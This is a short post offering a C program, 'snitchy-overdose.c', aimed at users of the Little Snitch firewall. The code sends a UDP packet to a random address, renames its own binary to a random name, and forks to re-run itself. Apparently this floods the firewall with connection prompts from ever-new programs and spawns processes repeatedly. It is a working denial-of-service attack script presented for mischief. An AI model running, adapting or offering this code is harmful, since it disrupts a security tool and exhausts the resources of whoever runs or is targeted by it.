Running Little Snitch? Have fun.

snitchy-overdose.c

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <inttypes.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

void kaboom(int fodder)
{
    (void) fodder;
}

int main(int argc, char *argv[])
{
    char name[16U + 1U];
    struct sockaddr_in si = {
        .sin_len = sizeof si,
        .sin_family = AF_INET,
        .sin_addr.s_addr = arc4random(),
        .sin_port = (uint16_t) arc4random()
    };
    int kindy = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP);
    
    fcntl(kindy, F_SETFL, O_NONBLOCK | fcntl(kindy, F_GETFL, NULL));    
    signal(SIGALRM, kaboom);
    alarm(1);
    (void) sendto(kindy, "", 1U, 0, (struct sockaddr *) &si, sizeof si);
    close(kindy);
    snprintf(name, sizeof name, "%" PRIx32 "%" PRIx32,
             arc4random(), arc4random());
    rename(argv[0], name);
    if (fork() == (pid_t) 0) {
        execl(name, name, NULL);
    }
    return 0;
}